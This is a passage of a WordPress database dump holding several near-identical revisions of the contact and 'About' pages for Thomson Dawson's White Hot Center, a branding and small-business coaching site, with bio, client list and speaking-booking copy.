(3034, 2, '2015-10-09 08:12:55', '2015-10-09 15:12:55', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg"><img class="alignnone size-full wp-image-3024" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg" alt="Contact Thomson Dawson" width="680" height="400" /></a></h2>\r\n<h2>Contact Thomson Dawson in the orange grove:</h2>\r\n<strong>The White Hot Center\r\nInspired Success for Entrepreneurs and Small Business Leaders\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 886 5902 mobile<a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">\r\nthomson@whitehotcenter.com</a><a title="Email Thomson" href="mailto://thomson@whitehotcenter.com" target="_blank">\r\n</a></strong>\r\n<h2><span style="color: #ffa500;">About Thomson Dawson</span>\r\n<span style="color: #ffa500;"> Strategic Brand Development, Business Transformation and Creative Consultant</span></h2>\r\n<span style="color: #000000;">For nearly 30 years, Thomson has been guiding and advising business leaders and their teams to elevate the quality of their presence in the marketplace and transform their business. As a successful creative entrepreneur, brand development strategist, creative director, designer, writer and business transformation consultant to globsl companies and start-ups alike.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson began his journey as a creative entrepreneur in 1980 after a stint working at several advertising agencies. Thomson founded Dawson+Company Creative Group, a leading corporate and marketing communications and design agency headquartered in Grand Rapids, Michigan. </span>\r\n\r\n<span style="color: #000000;">Dawson+Company Creative Group was internationally recognized for its award winning work in brand strategy, marketing communications, corporate and brand identity development, corporate communications, branded environment design, and retail packaging and merchandising. Within the first five years, he established his creative business into one of the most respected and sought after creative firms in the US. Over the course of his business career Thomson has successfully served over 100 established and emerging client organizations in diverse industries in the US and Europe. </span>\r\n\r\n<span style="color: #000000;">His corporate clients have included Abbott, Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite Corporation.</span>\r\n\r\nThomson is currently the Managing Partner of PULL Brand Innovation, a boutique brand strategy and development firm serving marketers of emerging brands in both consumer and business-to-business categories across the US. Thomson serves clients through strategic workshop facilitation and creative direction for go-to-market communications.\r\n\r\n<span style="color: #000000;">In 2008, leveraging his significant business experience serving leading corporate clients, Thomson founded the White Hot Center, an online source of insight, inspiration, guidance, and business development training and consulting for early stage entrepreneurs, solo professionals and small business owners who seek more impact, influence and income in their growing business. Through the White Hot Center, Thomson provides early stage entrepreneurs and their teams with professional development, brand strategy, marketing and business development education, inspiration,training and consulting to help them take their business to the next level of growth.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson is an avid writer, speaker and thought leader on brand strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed <a title="Branding Strategy Insider" href="http://www.brandingstrategyinsider.com/2011/09/the-future-belongs-to-brands-that-build-great-value.html" target="_blank"><span style="color: #000000;">Branding Strategy Insider</span></a> blog, one of the 50 top branding blogs according to Advertising Age.</span>\r\n\r\nThomson lives and works in a small orange grove in Ojai, California.\r\n\r\n&nbsp;\r\n<h2><img class="wp-image-2583 alignleft" title="Thomson Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-workshop.jpg" alt="" width="282" height="359" /> <span style="color: #000000;"><strong>Have Thomson speak at your upcoming event!</strong></span></h2>\r\n<h4><span style="color: #ffa500;">Thomson provides inspirational talks centered on professional development, creativity, innovation and building competitive advantage in your business. He speaks regularly at business conferences, universities, industry groups and trade associations. Some talks are pro bono, some for expenses, and others for a fee and expenses. If you have an interest in presenting Thomson at your upcoming event, just send an email detailing your specific requirements.</span></h4>\r\n<h4></h4>\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n<h1><span style="color: #000000;"><span style="color: #e47906;"><a title="Have Thomson speak at your event!" href="mailto://thomson@whitehotcenter.com" target="_blank">Email to book Thomson to speak at your event</a></span></span></h1>', 'Work with Thomson Dawson.', 0, '', 'inherit', 'closed', 'closed', '', '143-revision-v1', '', '', '2015-10-09 08:12:55', '2015-10-09 15:12:55', '', 143, 'http://whc.fbdev.org/2015/10/143-revision-v1/', 0, 'revision', '', 0),
(3032, 2, '2015-10-09 08:09:47', '2015-10-09 15:09:47', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg"><img class="alignnone size-full wp-image-3024" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg" alt="Contact Thomson Dawson" width="680" height="400" /></a></h2>\r\n<h2><strong>Contact Thomson Dawson in the orange grove:</strong></h2>\r\n<strong>The White Hot Center\r\nInspired Success for Entrepreneurs and Small Business Leaders\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 886 5902 mobile<a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">\r\nthomson@whitehotcenter.com</a><a title="Email Thomson" href="mailto://thomson@whitehotcenter.com" target="_blank">\r\n</a></strong>\r\n<h2><span style="color: #ffa500;">About Thomson Dawson</span>\r\n<span style="color: #ffa500;"> Strategic Brand Development, Business Transformation and Creative Consultant</span></h2>\r\n<span style="color: #000000;">For nearly 30 years, Thomson has been guiding and advising business leaders and their teams to elevate the quality of their presence in the marketplace and transform their business. As a successful creative entrepreneur, brand development strategist, creative director, designer, writer and business transformation consultant to globsl companies and start-ups alike.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson began his journey as a creative entrepreneur in 1980 after a stint working at several advertising agencies. Thomson founded Dawson+Company Creative Group, a leading corporate and marketing communications and design agency headquartered in Grand Rapids, Michigan. </span>\r\n\r\n<span style="color: #000000;">Dawson+Company Creative Group was internationally recognized for its award winning work in brand strategy, marketing communications, corporate and brand identity development, corporate communications, branded environment design, and retail packaging and merchandising. Within the first five years, he established his creative business into one of the most respected and sought after creative firms in the US. Over the course of his business career Thomson has successfully served over 100 established and emerging client organizations in diverse industries in the US and Europe. </span>\r\n\r\n<span style="color: #000000;">His corporate clients have included Abbott, Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite Corporation.</span>\r\n\r\nThomson is currently the Managing Partner of PULL Brand Innovation, a boutique brand strategy and development firm serving marketers of emerging brands in both consumer and business-to-business categories across the US. Thomson serves clients through strategic workshop facilitation and creative direction for go-to-market communications.\r\n\r\n<span style="color: #000000;">In 2008, leveraging his significant business experience serving leading corporate clients, Thomson founded the White Hot Center, an online source of insight, inspiration, guidance, and business development training and consulting for early stage entrepreneurs, solo professionals and small business owners who seek more impact, influence and income in their growing business. Through the White Hot Center, Thomson provides early stage entrepreneurs and their teams with professional development, brand strategy, marketing and business development education, inspiration,training and consulting to help them take their business to the next level of growth.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson is an avid writer, speaker and thought leader on brand strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed <a title="Branding Strategy Insider" href="http://www.brandingstrategyinsider.com/2011/09/the-future-belongs-to-brands-that-build-great-value.html" target="_blank"><span style="color: #000000;">Branding Strategy Insider</span></a> blog, one of the 50 top branding blogs according to Advertising Age.</span>\r\n\r\nThomson lives and works in a small orange grove in Ojai, California.\r\n\r\n&nbsp;\r\n<h2><img class="wp-image-2583 alignleft" title="Thomson Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-workshop.jpg" alt="" width="350" height="445" /> <span style="color: #000000;"><strong>Have Thomson speak at your upcoming event!</strong></span></h2>\r\n<h3><span style="color: #ffa500;">Thomson provides inspirational talks centered on professional development, creativity, innovation and building competitive advantage in your business. He speaks regularly at business conferenc es, universities, industry groups and trade associations. Some talks are pro bono, some for expenses, and others for a fee and expenses. If you have an interest in presenting Thomson at your upcoming event, just send an email detailing your specific requirements.</span></h3>\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n<h1><span style="color: #000000;"><span style="color: #e47906;"><a title="Have Thomson speak at your event!" href="mailto://thomson@whitehotcenter.com" target="_blank">Email to book Thomson to speak at your event</a></span></span></h1>', 'Work with Thomson Dawson.', 0, '', 'inherit', 'closed', 'closed', '', '143-revision-v1', '', '', '2015-10-09 08:09:47', '2015-10-09 15:09:47', '', 143, 'http://whc.fbdev.org/2015/10/143-revision-v1/', 0, 'revision', '', 0);
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(3033, 2, '2015-10-09 08:12:28', '2015-10-09 15:12:28', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg"><img class="alignnone size-full wp-image-3024" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg" alt="Contact Thomson Dawson" width="680" height="400" /></a></h2>\r\n<h2><strong>Contact Thomson Dawson in the orange grove:</strong></h2>\r\n<strong>The White Hot Center\r\nInspired Success for Entrepreneurs and Small Business Leaders\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 886 5902 mobile<a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">\r\nthomson@whitehotcenter.com</a><a title="Email Thomson" href="mailto://thomson@whitehotcenter.com" target="_blank">\r\n</a></strong>\r\n<h2><span style="color: #ffa500;">About Thomson Dawson</span>\r\n<span style="color: #ffa500;"> Strategic Brand Development, Business Transformation and Creative Consultant</span></h2>\r\n<span style="color: #000000;">For nearly 30 years, Thomson has been guiding and advising business leaders and their teams to elevate the quality of their presence in the marketplace and transform their business. As a successful creative entrepreneur, brand development strategist, creative director, designer, writer and business transformation consultant to globsl companies and start-ups alike.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson began his journey as a creative entrepreneur in 1980 after a stint working at several advertising agencies. Thomson founded Dawson+Company Creative Group, a leading corporate and marketing communications and design agency headquartered in Grand Rapids, Michigan. </span>\r\n\r\n<span style="color: #000000;">Dawson+Company Creative Group was internationally recognized for its award winning work in brand strategy, marketing communications, corporate and brand identity development, corporate communications, branded environment design, and retail packaging and merchandising. Within the first five years, he established his creative business into one of the most respected and sought after creative firms in the US. Over the course of his business career Thomson has successfully served over 100 established and emerging client organizations in diverse industries in the US and Europe. </span>\r\n\r\n<span style="color: #000000;">His corporate clients have included Abbott, Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite Corporation.</span>\r\n\r\nThomson is currently the Managing Partner of PULL Brand Innovation, a boutique brand strategy and development firm serving marketers of emerging brands in both consumer and business-to-business categories across the US. Thomson serves clients through strategic workshop facilitation and creative direction for go-to-market communications.\r\n\r\n<span style="color: #000000;">In 2008, leveraging his significant business experience serving leading corporate clients, Thomson founded the White Hot Center, an online source of insight, inspiration, guidance, and business development training and consulting for early stage entrepreneurs, solo professionals and small business owners who seek more impact, influence and income in their growing business. Through the White Hot Center, Thomson provides early stage entrepreneurs and their teams with professional development, brand strategy, marketing and business development education, inspiration,training and consulting to help them take their business to the next level of growth.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson is an avid writer, speaker and thought leader on brand strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed <a title="Branding Strategy Insider" href="http://www.brandingstrategyinsider.com/2011/09/the-future-belongs-to-brands-that-build-great-value.html" target="_blank"><span style="color: #000000;">Branding Strategy Insider</span></a> blog, one of the 50 top branding blogs according to Advertising Age.</span>\r\n\r\nThomson lives and works in a small orange grove in Ojai, California.\r\n\r\n&nbsp;\r\n<h2><img class="wp-image-2583 alignleft" title="Thomson Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-workshop.jpg" alt="" width="282" height="359" /> <span style="color: #000000;"><strong>Have Thomson speak at your upcoming event!</strong></span></h2>\r\n<h4><span style="color: #ffa500;">Thomson provides inspirational talks centered on professional development, creativity, innovation and building competitive advantage in your business. He speaks regularly at business conferences, universities, industry groups and trade associations. Some talks are pro bono, some for expenses, and others for a fee and expenses. If you have an interest in presenting Thomson at your upcoming event, just send an email detailing your specific requirements.</span></h4>\r\n<h4></h4>\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n<h1><span style="color: #000000;"><span style="color: #e47906;"><a title="Have Thomson speak at your event!" href="mailto://thomson@whitehotcenter.com" target="_blank">Email to book Thomson to speak at your event</a></span></span></h1>', 'Work with Thomson Dawson.', 0, '', 'inherit', 'closed', 'closed', '', '143-revision-v1', '', '', '2015-10-09 08:12:28', '2015-10-09 15:12:28', '', 143, 'http://whc.fbdev.org/2015/10/143-revision-v1/', 0, 'revision', '', 0),
(3056, 1, '2015-10-09 12:31:22', '2015-10-09 19:31:22', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/ABOUT-Lead-WHC.jpg"><img class="alignnone size-full wp-image-3004" src="http://whc.fbdev.org/wp-content/uploads/2009/05/ABOUT-Lead-WHC.jpg" alt="About the White Hot Center" width="680" height="378" /></a></h2>\r\n<h2><span style="color: #ff6600;">Inspiration, guidance and creativity for entrepreneurs and small business owners who want more impact, influence and income.</span></h2>\r\n<strong>I’m delighted you have found your way here to the White Hot Center.</strong> If you’re an early stage entrepreneur, or a successful small business owner, and you’re seeking inspiration to take your business (and your whole life experience) to the next level, you’ve come to the right place. It’s my pleasure to welcome you!\r\n\r\nMy purpose here is to inspire you to greater clarity and confidence in elevating the quality of your presence in the marketplace, enabling you to attract greater opportunity serving higher value customers and clients and making your competition irrelevant.\r\n\r\nOur conversation here is centered in my passion to inspire, guide and advise you to focus on your best opportunities, innovate strategies to master both your inner game (innovation and creative thinking), and your outer game (the quality of your presence in the marketplace) in four strategic disciplines:\r\n\r\n<span style="color: #ff9900;"><em><strong>Leadership</strong></em></span>\r\n<span style="color: #ff9900;"> <em> Expanding the quality of your presence and influence in the marketplace by elevating your thoughts, clarifying your purpose, enhance your effectiveness to build the right team, and your contributions to the marketplace.</em></span>\r\n\r\n<span style="color: #ff9900;"><em><strong>Lifestyle Design</strong></em></span>\r\n<span style="color: #ff9900;"> <em> Developing a compelling vision for your total life/business experience based solely on what truly matters to you, leverages your unique talents to serve customers and clients; and enables you to experience greater joy, fulfillment and deep satisfaction beyond money-making.</em></span>\r\n\r\n<span style="color: #ff9900;"><em><strong>Value Creation</strong></em></span>\r\n<span style="color: #ff9900;"> <em> Innovation and creativity to design and develop your value proposition, innovate products and services that are highly valued by your customers.</em></span>\r\n\r\n<span style="color: #ff9900;"><em><strong>Demand Generation</strong></em></span>\r\n<span style="color: #ff9900;"> <em> Expand your impact, influence and competitive advantage through strategic brand development, marketing communications, sales and business development strategies that position your business as the “one and only” in the minds of the best customers and clients, elevating your business from the slush pile of competitors.</em></span>\r\n\r\nLike you, I’m fully committed to bringing more value to my clients. After nearly 30 years of business transformation and creative consulting with hundreds of successful companies, I’ve learned to appreciate the attributes necessary to grow a beloved business to its next level.\r\n\r\nThe White Hot Center is the expression of my passion for sharing insights and ideas on personal and professional growth, leadership, value creation, innovation, brand strategy and marketing, business development and customer engagement– topics of significant importance to those entrepreneurs creating amazing value monopolies.\r\n\r\nI look forward to you sharing your insights by your comments!\r\n\r\nTo your inspired success,\r\n\r\nThomson Dawson\r\nStrategic Brand Development\r\nBusiness Transformation Consultant\r\n<a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'ABOUT THE WHC', 0, '', 'inherit', 'closed', 'closed', '', '2871-revision-v1', '', '', '2015-10-09 12:31:22', '2015-10-09 19:31:22', '', 2871, 'http://whc.fbdev.org/2015/10/2871-revision-v1/', 0, 'revision', '', 0),
(3036, 2, '2015-10-09 08:22:01', '2015-10-09 15:22:01', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/ABOUT-Lead-WHC.jpg"><img class="alignnone size-full wp-image-3004" src="http://whc.fbdev.org/wp-content/uploads/2009/05/ABOUT-Lead-WHC.jpg" alt="About the White Hot Center" width="680" height="378" /></a></h2>\r\n<h2><span style="color: #ff6600;">Inspiration, guidance and creativity for entrepreneurs and small business owners who want more impact, influence and income.</span></h2>\r\nI’m delighted you have found your way here to the White Hot Center. If you’re an early stage entrepreneur, or a successful small business owner, and you’re seeking inspiration to take your business (and your whole life experience) to the next level, you’ve come to the right place. It’s my pleasure to welcome you!\r\n\r\nMy purpose here is to inspire you to greater clarity and confidence in elevating the quality of your presence in the marketplace, enabling you to attract greater opportunity serving higher value customers and clients and making your competition irrelevant.\r\n\r\nOur conversation here is centered in my passion to inspire, guide and advise you to focus on your best opportunities, innovate strategies to master both your inner game (innovation and creative thinking), and your outer game (the quality of your presence in the marketplace) in four strategic disciplines:\r\n\r\n<em><strong>Leadership</strong></em>\r\n<em> Expanding the quality of your presence and influence in the marketplace by elevating your thoughts, clarifying your purpose, enhance your effectiveness to build the right team, and your contributions to the marketplace.</em>\r\n\r\n<em><strong>Lifestyle Design</strong></em>\r\n<em> Developing a compelling vision for your total life/business experience based solely on what truly matters to you, leverages your unique talents to serve customers and clients; and enables you to experience greater joy, fulfillment and deep satisfaction beyond money-making.</em>\r\n\r\n<em><strong>Value Creation</strong></em>\r\n<em> Innovation and creativity to design and develop your value proposition, innovate products and services that are highly valued by your customers.</em>\r\n\r\n<em><strong>Demand Generation</strong></em>\r\n<em> Expand your impact, influence and competitive advantage through strategic brand development, marketing communications, sales and business development strategies that position your business as the “one and only” in the minds of the best customers and clients, elevating your business from the slush pile of competitors.</em>\r\n\r\nLike you, I’m fully committed to bringing more value to my clients. After nearly 30 years of business transformation and creative consulting with hundreds of successful companies, I’ve learned to appreciate the attributes necessary to grow a beloved business to its next level.\r\n\r\nThe White Hot Center is the expression of my passion for sharing insights and ideas on personal and professional growth, leadership, value creation, innovation, brand strategy and marketing, business development and customer engagement– topics of significant importance to those entrepreneurs creating amazing value monopolies.\r\n\r\nI look forward to you sharing your insights by your comments!\r\n\r\nTo your inspired success,\r\n\r\nThomson Dawson\r\nStrategic Brand Development\r\nBusiness Transformation Consultant\r\n<a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'ABOUT THE WHC', 0, '', 'inherit', 'closed', 'closed', '', '2871-revision-v1', '', '', '2015-10-09 08:22:01', '2015-10-09 15:22:01', '', 2871, 'http://whc.fbdev.org/2015/10/2871-revision-v1/', 0, 'revision', '', 0),
(3037, 2, '2015-10-09 08:22:37', '2015-10-09 15:22:37', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/ABOUT-Lead-WHC.jpg"><img class="alignnone size-full wp-image-3004" src="http://whc.fbdev.org/wp-content/uploads/2009/05/ABOUT-Lead-WHC.jpg" alt="About the White Hot Center" width="680" height="378" /></a></h2>\r\n<h1><span style="color: #ff6600;">Inspiration, guidance and creativity for entrepreneurs and small business owners who want more impact, influence and income.</span></h1>\r\nI’m delighted you have found your way here to the White Hot Center. If you’re an early stage entrepreneur, or a successful small business owner, and you’re seeking inspiration to take your business (and your whole life experience) to the next level, you’ve come to the right place. It’s my pleasure to welcome you!\r\n\r\nMy purpose here is to inspire you to greater clarity and confidence in elevating the quality of your presence in the marketplace, enabling you to attract greater opportunity serving higher value customers and clients and making your competition irrelevant.\r\n\r\nOur conversation here is centered in my passion to inspire, guide and advise you to focus on your best opportunities, innovate strategies to master both your inner game (innovation and creative thinking), and your outer game (the quality of your presence in the marketplace) in four strategic disciplines:\r\n\r\n<span style="color: #ff9900;"><em><strong>Leadership</strong></em></span>\r\n<span style="color: #ff9900;"> <em> Expanding the quality of your presence and influence in the marketplace by elevating your thoughts, clarifying your purpose, enhance your effectiveness to build the right team, and your contributions to the marketplace.</em></span>\r\n\r\n<span style="color: #ff9900;"><em><strong>Lifestyle Design</strong></em></span>\r\n<span style="color: #ff9900;"> <em> Developing a compelling vision for your total life/business experience based solely on what truly matters to you, leverages your unique talents to serve customers and clients; and enables you to experience greater joy, fulfillment and deep satisfaction beyond money-making.</em></span>\r\n\r\n<span style="color: #ff9900;"><em><strong>Value Creation</strong></em></span>\r\n<span style="color: #ff9900;"> <em> Innovation and creativity to design and develop your value proposition, innovate products and services that are highly valued by your customers.</em></span>\r\n\r\n<span style="color: #ff9900;"><em><strong>Demand Generation</strong></em></span>\r\n<span style="color: #ff9900;"> <em> Expand your impact, influence and competitive advantage through strategic brand development, marketing communications, sales and business development strategies that position your business as the “one and only” in the minds of the best customers and clients, elevating your business from the slush pile of competitors.</em></span>\r\n\r\nLike you, I’m fully committed to bringing more value to my clients. After nearly 30 years of business transformation and creative consulting with hundreds of successful companies, I’ve learned to appreciate the attributes necessary to grow a beloved business to its next level.\r\n\r\nThe White Hot Center is the expression of my passion for sharing insights and ideas on personal and professional growth, leadership, value creation, innovation, brand strategy and marketing, business development and customer engagement– topics of significant importance to those entrepreneurs creating amazing value monopolies.\r\n\r\nI look forward to you sharing your insights by your comments!\r\n\r\nTo your inspired success,\r\n\r\nThomson Dawson\r\nStrategic Brand Development\r\nBusiness Transformation Consultant\r\n<a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'ABOUT THE WHC', 0, '', 'inherit', 'closed', 'closed', '', '2871-revision-v1', '', '', '2015-10-09 08:22:37', '2015-10-09 15:22:37', '', 2871, 'http://whc.fbdev.org/2015/10/2871-revision-v1/', 0, 'revision', '', 0),
(3038, 2, '2015-10-09 08:23:14', '2015-10-09 15:23:14', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/ABOUT-Lead-WHC.jpg"><img class="alignnone size-full wp-image-3004" src="http://whc.fbdev.org/wp-content/uploads/2009/05/ABOUT-Lead-WHC.jpg" alt="About the White Hot Center" width="680" height="378" /></a></h2>\r\n<h2><span style="color: #ff6600;">Inspiration, guidance and creativity for entrepreneurs and small business owners who want more impact, influence and income.</span></h2>\r\nI’m delighted you have found your way here to the White Hot Center. If you’re an early stage entrepreneur, or a successful small business owner, and you’re seeking inspiration to take your business (and your whole life experience) to the next level, you’ve come to the right place. It’s my pleasure to welcome you!\r\n\r\nMy purpose here is to inspire you to greater clarity and confidence in elevating the quality of your presence in the marketplace, enabling you to attract greater opportunity serving higher value customers and clients and making your competition irrelevant.\r\n\r\nOur conversation here is centered in my passion to inspire, guide and advise you to focus on your best opportunities, innovate strategies to master both your inner game (innovation and creative thinking), and your outer game (the quality of your presence in the marketplace) in four strategic disciplines:\r\n\r\n<span style="color: #ff9900;"><em><strong>Leadership</strong></em></span>\r\n<span style="color: #ff9900;"> <em> Expanding the quality of your presence and influence in the marketplace by elevating your thoughts, clarifying your purpose, enhance your effectiveness to build the right team, and your contributions to the marketplace.</em></span>\r\n\r\n<span style="color: #ff9900;"><em><strong>Lifestyle Design</strong></em></span>\r\n<span style="color: #ff9900;"> <em> Developing a compelling vision for your total life/business experience based solely on what truly matters to you, leverages your unique talents to serve customers and clients; and enables you to experience greater joy, fulfillment and deep satisfaction beyond money-making.</em></span>\r\n\r\n<span style="color: #ff9900;"><em><strong>Value Creation</strong></em></span>\r\n<span style="color: #ff9900;"> <em> Innovation and creativity to design and develop your value proposition, innovate products and services that are highly valued by your customers.</em></span>\r\n\r\n<span style="color: #ff9900;"><em><strong>Demand Generation</strong></em></span>\r\n<span style="color: #ff9900;"> <em> Expand your impact, influence and competitive advantage through strategic brand development, marketing communications, sales and business development strategies that position your business as the “one and only” in the minds of the best customers and clients, elevating your business from the slush pile of competitors.</em></span>\r\n\r\nLike you, I’m fully committed to bringing more value to my clients. After nearly 30 years of business transformation and creative consulting with hundreds of successful companies, I’ve learned to appreciate the attributes necessary to grow a beloved business to its next level.\r\n\r\nThe White Hot Center is the expression of my passion for sharing insights and ideas on personal and professional growth, leadership, value creation, innovation, brand strategy and marketing, business development and customer engagement– topics of significant importance to those entrepreneurs creating amazing value monopolies.\r\n\r\nI look forward to you sharing your insights by your comments!\r\n\r\nTo your inspired success,\r\n\r\nThomson Dawson\r\nStrategic Brand Development\r\nBusiness Transformation Consultant\r\n<a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'ABOUT THE WHC', 0, '', 'inherit', 'closed', 'closed', '', '2871-revision-v1', '', '', '2015-10-09 08:23:14', '2015-10-09 15:23:14', '', 2871, 'http://whc.fbdev.org/2015/10/2871-revision-v1/', 0, 'revision', '', 0),
(3040, 2, '2015-10-09 08:25:16', '2015-10-09 15:25:16', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/ABOUT-Lead-WHC.jpg"><img class="alignnone size-full wp-image-3004" src="http://whc.fbdev.org/wp-content/uploads/2009/05/ABOUT-Lead-WHC.jpg" alt="About the White Hot Center" width="680" height="378" /></a></h2>\r\n<h2><span style="color: #ff6600;">Inspiration, guidance and creativity for entrepreneurs and small business owners who want more impact, influence and income.</span></h2>\r\nI’m delighted you have found your way here to the White Hot Center. If you’re an early stage entrepreneur, or a successful small business owner, and you’re seeking inspiration to take your business (and your whole life experience) to the next level, you’ve come to the right place. It’s my pleasure to welcome you!\r\n\r\nMy purpose here is to inspire you to greater clarity and confidence in elevating the quality of your presence in the marketplace, enabling you to attract greater opportunity serving higher value customers and clients and making your competition irrelevant.\r\n\r\nOur conversation here is centered in my passion to inspire, guide and advise you to focus on your best opportunities, innovate strategies to master both your inner game (innovation and creative thinking), and your outer game (the quality of your presence in the marketplace) in four strategic disciplines:\r\n\r\n<span style="color: #ff9900;"><em><strong>Leadership</strong></em></span>\r\n<span style="color: #ff9900;"> <em> Expanding the quality of your presence and influence in the marketplace by elevating your thoughts, clarifying your purpose, enhance your effectiveness to build the right team, and your contributions to the marketplace.</em></span>\r\n\r\n<span style="color: #ff9900;"><em><strong>Lifestyle Design</strong></em></span>\r\n<span style="color: #ff9900;"> <em> Developing a compelling vision for your total life/business experience based solely on what truly matters to you, leverages your unique talents to serve customers and clients; and enables you to experience greater joy, fulfillment and deep satisfaction beyond money-making.</em></span>\r\n\r\n<span style="color: #ff9900;"><em><strong>Value Creation</strong></em></span>\r\n<span style="color: #ff9900;"> <em> Innovation and creativity to design and develop your value proposition, innovate products and services that are highly valued by your customers.</em></span>\r\n\r\n<span style="color: #ff9900;"><em><strong>Demand Generation</strong></em></span>\r\n<span style="color: #ff9900;"> <em> Expand your impact, influence and competitive advantage through strategic brand development, marketing communications, sales and business development strategies that position your business as the “one and only” in the minds of the best customers and clients, elevating your business from the slush pile of competitors.</em></span>\r\n\r\nLike you, I’m fully committed to bringing more value to my clients. After nearly 30 years of business transformation and creative consulting with hundreds of successful companies, I’ve learned to appreciate the attributes necessary to grow a beloved business to its next level.\r\n\r\nThe White Hot Center is the expression of my passion for sharing insights and ideas on personal and professional growth, leadership, value creation, innovation, brand strategy and marketing, business development and customer engagement– topics of significant importance to those entrepreneurs creating amazing value monopolies.\r\n\r\nI look forward to you sharing your insights by your comments!\r\n\r\nTo your inspired success,\r\n\r\nThomson Dawson\r\nStrategic Brand Development\r\nBusiness Transformation Consultant\r\n<a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'ABOUT THE WHC', 0, '', 'inherit', 'closed', 'closed', '', '2871-revision-v1', '', '', '2015-10-09 08:25:16', '2015-10-09 15:25:16', '', 2871, 'http://whc.fbdev.org/2015/10/2871-revision-v1/', 0, 'revision', '', 0),
(3039, 2, '2015-10-09 08:23:59', '2015-10-09 15:23:59', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/ABOUT-Lead-WHC.jpg"><img class="alignnone size-full wp-image-3004" src="http://whc.fbdev.org/wp-content/uploads/2009/05/ABOUT-Lead-WHC.jpg" alt="About the White Hot Center" width="680" height="378" /></a></h2>\r\n<h2><span style="color: #ff6600;">Inspiration, guidance and creativity for entrepreneurs and small business owners who want more impact, influence and income.</span></h2>\r\nI’m delighted you have found your way here to the White Hot Center. If you’re an early stage entrepreneur, or a successful small business owner, and you’re seeking inspiration to take your business (and your whole life experience) to the next level, you’ve come to the right place. It’s my pleasure to welcome you!\r\n\r\nMy purpose here is to inspire you to greater clarity and confidence in elevating the quality of your presence in the marketplace, enabling you to attract greater opportunity serving higher value customers and clients and making your competition irrelevant.\r\n\r\nOur conversation here is centered in my passion to inspire, guide and advise you to focus on your best opportunities, innovate strategies to master both your inner game (innovation and creative thinking), and your outer game (the quality of your presence in the marketplace) in four strategic disciplines:\r\n<h3><span style="color: #ff9900;"><em><strong>Leadership</strong></em></span>\r\n<span style="color: #ff9900;"> <em> Expanding the quality of your presence and influence in the marketplace by elevating your thoughts, clarifying your purpose, enhance your effectiveness to build the right team, and your contributions to the marketplace.</em></span></h3>\r\n<h3><span style="color: #ff9900;"><em><strong>Lifestyle Design</strong></em></span>\r\n<span style="color: #ff9900;"> <em> Developing a compelling vision for your total life/business experience based solely on what truly matters to you, leverages your unique talents to serve customers and clients; and enables you to experience greater joy, fulfillment and deep satisfaction beyond money-making.</em></span></h3>\r\n<h3><span style="color: #ff9900;"><em><strong>Value Creation</strong></em></span>\r\n<span style="color: #ff9900;"> <em> Innovation and creativity to design and develop your value proposition, innovate products and services that are highly valued by your customers.</em></span></h3>\r\n<h3><span style="color: #ff9900;"><em><strong>Demand Generation</strong></em></span>\r\n<span style="color: #ff9900;"> <em> Expand your impact, influence and competitive advantage through strategic brand development, marketing communications, sales and business development strategies that position your business as the “one and only” in the minds of the best customers and clients, elevating your business from the slush pile of competitors.</em></span></h3>\r\nLike you, I’m fully committed to bringing more value to my clients. After 